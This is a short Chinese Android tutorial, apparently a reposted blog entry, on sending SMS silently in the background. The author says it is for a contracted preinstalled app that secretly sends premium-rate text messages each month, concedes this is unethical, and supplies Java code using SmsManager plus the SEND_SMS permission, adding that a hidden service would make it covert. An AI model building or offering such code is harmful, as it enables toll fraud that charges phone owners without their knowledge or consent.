android后台发送短信的实现

我们学过一种发送手机短信的方法,就是通过intent跳转到系统自带的短信发送界面,接着让用户点send

今天的话我们学习一种偷偷发短信的功能,因为最近接受了一个外包任务,就是开发一个app然后预装在手机中,

每个月定时发送付费短信,显然这是很缺德的事情,但是....这里的话给大家一个建议就是买回来的手机最好先刷下机,

把一些内置的应用删掉,发付费短信只是一种,有些还是偷偷滴使用你的流量

 

其实只是manager类: 

 

废话不多说,直接上代码:

[java]   view plain copy
  1. package com.example.toutou;  
  2.   
  3.   
  4. import android.app.Activity;  
  5. import android.os.Bundle;  
  6. import android.telephony.SmsManager;  
  7. import android.view.View;  
  8. import android.view.View.OnClickListener;  
  9. import android.widget.Button;  
  10.   
  11. public class MainActivity extends Activity {  
  12.     private Button send;  
  13.   
  14.     /** Called when the activity is first created. */  
  15.     @Override  
  16.     public void onCreate(Bundle savedInstanceState) {  
  17.         super.onCreate(savedInstanceState);  
  18.         setContentView(R.layout.activity_main);  
  19.         send = (Button) findViewById(R.id.button1);  
  20.         send.setOnClickListener(new OnClickListener() {  
  21.   
  22.             @Override  
  23.             public void onClick(View v) {  
  24.                 // 发给号码为5554的模拟器,短信内容是"付费短信"  
  25.                 SmsManager.getDefault().sendTextMessage("5554",  
  26.                         null"付费短信"nullnull);  
  27.             }  
  28.         });  
  29.     }  
  30. }  

最后加入一个权限:

<uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
 

 这里的话是为了演示方便才使用按钮,真正偷偷发短信只需要弄一个自定义service即可

猜你喜欢

转载自blog.csdn.net/qq_41405257/article/details/80658556